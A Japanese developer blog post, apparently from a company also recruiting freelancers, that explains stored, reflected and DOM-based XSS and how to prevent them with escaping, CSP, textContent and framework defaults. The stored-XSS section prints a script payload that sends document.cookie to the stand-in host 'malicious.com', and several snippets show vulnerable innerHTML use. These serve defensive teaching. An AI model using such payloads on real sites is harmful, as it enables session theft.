クロスサイトスクリプティング（XSS）を防止しよう

## はじめに

クロスサイトスクリプティング（XSS）は、ウェブアプリケーションにおける最も一般的なセキュリティ脆弱性の一つです。攻撃者が悪意のあるスクリプトを注入し、被害者のブラウザで実行されることで、個人情報の盗難やセッションハイジャックなどのリスクを引き起こします。

ここでは、XSSの仕組み、種類、そして効果的な防止策をわかりやすく解説します。

### ちなみに宣伝★
ここ最近、弊社では様々な開発プロジェクトがあり、それこそ今回のようなセキュリティ対策を堅牢に求められるプロジェクトも結構増えてきました。（セキュリティ対策は当たり前なのですが）
そんなセキュリティ対策を始めとして、弊社が持つ様々なプロジェクトに果敢にチャレンジしていただけるフリーランスエンジニアの方を募集しています！
**（★サーバーサイド、フロントエンド、ネイティブアプリ等、どんなポジションも大大歓迎中）**

興味がある方は、ぜひ下記フォームに回答いただけますと幸いです！
👉 フォームは[こちら](https://docs.google.com/forms/d/e/1FAIpQLSfY9lckFjAJ_Ddc4rdHDSIFoV4NFHw1q2HriK2aa_jvVhp8QQ/formResponse)

## クロスサイトスクリプティング（XSS）とは？

XSSは、攻撃者がウェブページに悪意のあるスクリプトを注入し、被害者のブラウザでそのスクリプトを実行させる攻撃手法です。

### 被害例

- **クッキーの盗難**：セッション情報を盗む。
- **フィッシング詐欺**：ユーザーを偽サイトに誘導。
- **マルウェアの配布**：悪意のあるコードをダウンロードさせる。
など

## XSSの種類

### 1. Stored XSS(格納型XSS)
攻撃者が悪意のあるスクリプトをデータベースやファイルに保存し、被害者が該当データを閲覧することでスクリプトが実行されてしまうようなXSSが、「Stored XSS」です。

**例：**

掲示板やコメント欄での悪意ある投稿。

```html
<script>document.location='http://malicious.com?cookie=' + document.cookie;</script>
```

### 2. Reflected XSS(反射型XSS)
攻撃者が悪意のあるスクリプトをリンクに埋め込み、ユーザーにクリックさせルとします。その後、被害者がリンクを開くとスクリプトが実行されてしまいます。そのようなXSSを「Reflected XSS」といいます。

**例：**

URLパラメータにスクリプトを埋め込む。

```
http://example.com?search=<script>alert('XSS')</script>
```

### 3. DOM Based XSS(DOMベースXSS)
クライアントサイドのJavaScriptの書き方に問題があり、動的に生成されたコンテンツにスクリプトを注入されてしまうようなXSSを「DOM Based XSS」といいます。

**例：**

以下のコードにより、ユーザーの入力がそのままDOMに挿入される。

```jsx
document.body.innerHTML = "Search: " + location.search;
```

## XSSの防止策

### 防止策紹介の前に
これから防止策の例を記載していくのですが、前提、それを見る前に
[安全なウェブサイトの作り方
](https://www.ipa.go.jp/security/vuln/websecurity/about.html) を確認することを強くお勧めします！
こちらはIPA提供のwebサイト開発時のセキュリティ対策についてのガイドラインのようなもので、XSSをはじめとしたセキュリティ対策が広くまとまっています。
サイトからセキュリティ対策のチェックリストもダウンロード可能なので、リストをたまに見ながら開発を進めるといいかもしれません！


### 1. **入力の検証とサニタイズ**

### 入力の検証

- 受け取るデータが想定された形式であるかを確認。
- 不正な入力（スクリプトやHTMLタグ）をブロック。

```jsx
function validateInput(input) {
  const pattern = /^[a-zA-Z0-9 ]*$/; // 英数字とスペースのみ許可
  return pattern.test(input);
}
```

### サニタイズ

- 特殊文字をエスケープして、意図しないコード実行を防ぐ。

```jsx
function sanitizeInput(input) {
  return input.replace(/&/g, "&amp;")
              .replace(/</g, "&lt;")
              .replace(/>/g, "&gt;")
              .replace(/"/g, "&quot;")
              .replace(/'/g, "&#039;");
}
```

### 2. **HTMLエスケープ**

サーバーから出力する前に、ユーザー入力をエスケープします。

**実装例（Node.js + Express）**

```jsx
const escapeHtml = (str) => {
  return str.replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/"/g, "&quot;")
            .replace(/'/g, "&#039;");
};

app.get('/', (req, res) => {
  const safeInput = escapeHtml(req.query.input);
  res.send(`<div>${safeInput}</div>`);
});
```

### 3. **CSP（Content Security Policy）の導入**

CSPを設定することで、許可されていないスクリプトの実行を防ぎます。

### 設定例（HTTPヘッダー）

```
Content-Security-Policy: script-src 'self';
```

### 主なディレクティブ

- `script-src`: スクリプトのソースを制限。
- `object-src`: オブジェクト要素（例：Flash）のソースを制限。
- `img-src`: 画像のソースを制限。

### 4. **JavaScriptの安全な操作**

DOM操作時には、安全なAPIを使用するよう心がけます。

**良い例**

```jsx
const element = document.createElement("div");
element.textContent = userInput; // テキストとして挿入
document.body.appendChild(element);
```

**悪い例**

```jsx
document.body.innerHTML = `<div>${userInput}</div>`; // XSSのリスク
```

### 5. **セキュアなフレームワークの活用**

ReactやVue.jsなどのモダンフレームワークは、デフォルトでXSS対策が施されています。
※Reactで`dangerouslysetinnerhtml`を使うのは避けましょう！！

https://ja.legacy.reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml


**Reactの例**

```jsx
// ユーザー入力を安全に扱う
const userInput = "<script>alert('XSS')</script>";
return <div>{userInput}</div>; // 自動でエスケープされる
```

### 6. **トークンによるCSRF対策**
（どちらかというとCSRF対策となりますが、）
XSSを利用したCSRF（クロスサイトリクエストフォージェリ）攻撃を防ぐため、CSRFトークンを活用しましょう。

## まとめ

クロスサイトスクリプティング（XSS）は、ウェブアプリケーションに深刻な影響を及ぼす脆弱性ですが、ちゃんとした防止策を講じればリスクを大幅に減らせます。この記事を参考に、セキュアな開発への手助けになれれば幸いです！
**お問い合わせやご意見がありましたら、お気軽にご連絡ください！**

## おわりに
繰り返しになりますが、弊社では、フリーランスエンジニアの方を募集しております！

熱意を持って新しいプロジェクトに挑戦したい方、様々な大規模開発プロジェクトに興味のある方は、下記フォームにてあなたの経歴をご回答ください！

👉 フォームは[こちら](https://docs.google.com/forms/d/e/1FAIpQLSfY9lckFjAJ_Ddc4rdHDSIFoV4NFHw1q2HriK2aa_jvVhp8QQ/formResponse)

たくさんのご応募、お待ちしております！